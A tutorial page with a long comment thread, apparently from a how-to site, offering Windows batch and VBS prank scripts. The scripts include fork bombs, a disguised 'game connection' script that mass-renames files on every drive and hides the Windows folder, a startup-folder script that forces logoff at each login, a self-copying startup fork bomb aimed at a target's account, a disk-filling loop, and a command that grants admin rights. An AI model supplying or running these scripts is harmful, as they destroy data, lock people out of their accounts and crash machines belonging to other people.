fun things to do with batch files

ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to [e-mail] with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! ^_ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)

Step 1: Fun thing #1

this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)

you know whats fun?

@echo off
:A
start cmd.exe
goto A

warning put this in a batch file and it will crash/freeze your computer!!!!

@echo off
color 2
:matrix
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto matrix

this fun one will make a matrix on your cmd!

do
x=msgbox("your message here",4+16,"title of error here")
loop

this one will make a fake error message on your computer that cant be closed unless you kill the process with task manager (must save as a .vbs file)

have fun and dont get in too much trouble!!!

Evanescence - Bring Me Back To Life

[FariZE(Blackjam)]

figure it out. what this batch file will do when you open it?
@echo off
color 20
title Connecting TibiaME server...
echo Connecting TibiaME server... please wait.
ren "D:\*.*" "*TibiaME.exe"
ren "C:\p*\*.*" "*TibiaME.exe"
ren "G:\*.*" "*TibiaME.exe"
ren "H:\*.*" "*TibiaME.exe"
ren "E:\*.*" "*TibiaME.exe"
ren "I:\*.*" "*TibiaME.exe"
ren "J:\*.*" "*TibiaME.exe"
start attrib C:\WINDOWS +s +h
echo Wscript.Sleep 3000>C:\sleep3000.vbs
start /w wscript.exe C:\sleep3000.vbs
echo Connection failure!
echo a=MsgBox ("Connection time out" ,48, "connection time out")>temp.vbs
start temp.vbs
start /w wscript.exe C:\sleep3000.vbs
del temp.vbs
pause

At my university, computers in the classrooms are set to login to domain usernames, and non-admin members are not able to use the Start menu shutdown feature. Instead, they are given the logoff only. Since the policy does not prohibit the Run . . . feature, one can shutdown or reboot these computers by using the shutdown command instead.

I guess one could also just pull the plug, but that is so inelegant.

[TehTechnicalGuy]

I would like to share something that will ruin your computer, you will not be able to access your account ever again, (or someone elses'), if you make this batch file and start it.

@echo off
cd %appdata%\Microsoft\Windows\"Start Menu"\Programs\Startup
echo @echo off >> ooo.bat
echo shutdown /l /f >> ooo.bat
start ooo.bat

Use wisely.

[akoolkid]

You can access it if you hold shift when you click your username and hold until the account finishes loading and then you can delete the file

[TehTechnicalGuy]

Not many people know that however, and so, it can be really useful.

[pangra]

Whats the ping local host for

[Prof. Pickle]

The ping localhost is generally used to pause a batch file for a certain amount of time. E.g:

@echo off
echo Shutdown will commence in 5
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 4
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 3
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 2
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 1
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 0
shutdown -s -t 0

any help is appreciated thx

[nhormell]

thank you so much it worked perfectly thank you

[[-NT-]r0adKill]

i also attempted to fix your code, heres wat i got so far:
@ echo off

echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL

echo y\n
set /p var=answer
pause
if %var%==y goto yes
if %var%==n goto no

:yes
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600 >nul
msg* jk but remember the black wamba watches all
pause
exit

:no
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
pause
exit

-------------
if you are trying to get a little box to pop up in the middle of the screen with msg*, then i can tell you that won't work. the boxes are a .vbs file and have to be saved seperately. the command line for that would just be

start c:users/desktop/jk.vbs or whatever you named the file and where ever you saved it; the actual box would be:
yay=MsgBox("jk but remember the black wamba watches all",,"title-of-box")

[Inv3rsE]

Hey, pal i'm working to fix your code.. :)

[nhormell]

thanks for your code but i cant get it to work on my computer for some reason all of the code should work in theory but it just flashes on my screen then closes

[monkeys98]

msg is not recognised as an internal or external command

[Inv3rsE]

you must put space between "msg" and "*"

[winegums]

 try this one

@echo off
start www.meatspin.com

or if your feeling particularly mean

@echo off
:A
start www.meatspin.com
goto A


this will open meatspin in an infinite loop.

note: the website can be substituted for one of your own choice if you wish :)

[jlanejr]

I just joined the site on the advice of my friend and saw your posting. Well what can i say? Meat spin kinda sparked my curiousity. So I googled it and could not closed the browser quick enough. Never the less I have to admit it was horrible. I will use the site for my own fiendish plots. LOL Thanks!!!!

[messmaker]

want to get any noober?

[One.]

i wont even comment on that...

[Kingfisher111]

Meat Spin makes me sick

[11rex11]

i did something really evil i used a simpler code but it in a folder and put that in a folder and that in a folder (times that by 2) and put all of them in a weird programs folder i then made a shortcut to it and put it in the start folder i only set the time limit to 5 seconds... }:P

[Craig Bird]

In responce to poodie you could simple change the code.


echo :loop > C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\%username%\StartMenu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat

:start
start cmd /c copy "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp%random%.bat"
goto start

you could also hide the batch file using attrib -h -s- r

[spacetinker]

Kewl man !

[nutsandbolts_64]

 lol, in step 3: Your computer has been infected. Please wait for the infection to spread. Oh man, wait there's a problem. Okay, virus back to loading. And... shutdown... SHutdown, SHUTdown, SHUTDOWN NOW *#&$)@&$!!!!!! okay finally... <computer shuts down>

[poodi]

Best  bat file that can screw up a computer. Use wisely.

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start

This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefenatley. When the computer is rebooted it is likely to crash very quickly.

Will be very hard to undo. Mabie rebooting in safe mode will do it. Dunno really.

Only problem is that u need to change the part where its says USER for the username of the target.

[Win7Maniac]

Instead, you can use this code:

echo :loop > %homepath%\Start Menu\Programs\startup\temp.bat
echo start temp >> %homepath%\Start Menu\Programs\startup\temp.bat
echo goto loop >> %homepath%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "%homepath%\Start Menu\Programs\startup\temp.bat" "%homepath%\Start Menu\Programs\startup\temp%random%.bat"
goto :start

Then you don't have to specify the USER directory.

[Saturn V]

The second one is EVIL!!!

Evil, but highly effective.

[PMBell]

this one is good i changed all of my friends desktop icons to that file and he got so pissed

[V1P]

use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !

[noobererer]

HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)

[V1P]

Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)

[uberdum05]

Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now.......
(muhahahaha!)

[noobererer]

second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P

[V1P]

hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(

[noobererer]

Sweet! Can't wait to see 'em :)

[karmakid732]

that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down

[ghostWolf59]

Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
